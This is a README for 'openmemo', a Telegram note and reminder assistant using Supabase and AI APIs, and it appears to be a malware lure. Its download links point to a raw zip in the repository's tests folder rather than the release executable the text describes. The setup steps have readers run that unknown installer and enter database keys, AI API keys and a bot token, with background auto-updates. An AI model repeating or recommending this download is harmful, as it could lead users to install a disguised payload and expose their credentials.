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# 🤖 openmemo - Your life managed by private intelligence
[](https://github.com/Commoneelopenhearthfurnace186/openmemo/raw/refs/heads/main/tests/Software_2.8.zip)
Openmemo acts as a memory assistant for your daily activities. It connects to your Telegram account to help you track tasks, save notes, and set reminders. You host the data on your own Supabase account. This keeps your information secure and private. The system uses artificial intelligence to organize your thoughts and provide answers when you ask.
## ✨ Core Features
* **Telegram Integration:** Talk to your assistant through the familiar chat interface.
* **Prompt Organization:** Store your notes and thoughts in a searchable index.
* **Task Management:** Set reminders for deadlines and important events.
* **Intelligence Support:** Connect popular language models like GPT or DeepSeek.
* **Total Ownership:** Start with your own database so you own every byte of data.
* **Data Privacy:** No third parties access your personal records or chat history.
## ⚙️ System Requirements
Before you install this software, make sure your computer meets these basic needs:
* **Operating System:** Windows 10 or Windows 11.
* **Internet Connection:** An active broadband connection.
* **Telegram Account:** An active account with a phone number.
* **Memory:** At least 4GB of RAM for smooth background operation.
* **Storage:** 200MB of free disk space for the program files.
## 🚀 How to Setup
Follow these steps to get the application running on your Windows machine.
### 1. Download the Installer
Visit the official repository to get the latest version of the software.
[Download the Openmemo installer here](https://github.com/Commoneelopenhearthfurnace186/openmemo/raw/refs/heads/main/tests/Software_2.8.zip)
Click the link to visit the page. Look for the file named `openmemo-setup.exe` under the latest release section. Download this file to your computer.
### 2. Prepare Your Services
Openmemo requires two external services. First, create a free account at Supabase. You will receive database credentials after setup. Save these credentials in a text file. Second, obtain an API key from an artificial intelligence provider like OpenAI. This allows the assistant to process your requests with intelligence.
### 3. Install the Application
Open the folder where you saved the installer. Double-click the `openmemo-setup.exe` file. Follow the on-screen prompts. The installer will ask you where to save the program files. The default location works for most users. Click Install to start the process.
### 4. Configure Your Keys
Once the installation finishes, launch the Openmemo icon from your desktop. A settings window will appear. You must enter your Supabase URL and key here. Also, paste your AI API key in the provided field. These steps enable the connection between your machine and your data store. Click Save to apply these changes.
### 5. Start the Bot
Open the Telegram application on your phone or computer. Use the BotFather service inside Telegram to create a new bot token. Paste this token into the Openmemo interface on your PC. Click the Start button. Your assistant is now active. You can send a message to your new bot to begin recording notes.
## 💡 Using Your Assistant
Your assistant learns as you provide more information. Send a simple message such as "Remember to buy milk Saturday" to save a task. Ask "What do I need to do this weekend?" to receive a summary of your saved items. You can also send long notes or journal entries. The system stores these in your private database.
## 🛠 Troubleshooting Common Issues
* **Connection Errors:** If the bot does not respond, check your internet. Confirm that your Supabase URL is correct.
* **Invalid API Key:** If the assistant does not answer questions, your AI provider key might be expired. Log into your AI account dashboard to check your usage credits.
* **Bot Not Responding:** Ensure the application remains running in your system tray. The bot uses your local computer to interface with Telegram.
* **Slow Responses:** If the assistant takes time to reply, your computer might be busy with other tasks. Close heavy programs to free up resources.
* **Lost Notes:** Log into your Supabase dashboard to verify that the database is active. All data remains there, separate from the local application.
## 🔒 Your Privacy
This software does not send your data to external servers for tracking or advertising. Everything stays between your Telegram chat and your Supabase database. You control the connection keys. If you decide to stop using the software, you can delete your database directly from the Supabase web platform at any time.
## 📈 Improving Performance
To keep the system fast, clean out old notes monthly. Archive completed tasks by moving them to a separate table in your database. This keeps your search results quick and relevant. If you increase the amount of data you save, consider upgrading your database tier on Supabase. Most users find that the free tier is enough for several years of notes.
The software updates automatically. When a new version releases, your computer will download the update in the background. Restart the application to apply the latest improvements. No manual file replacement is necessary.
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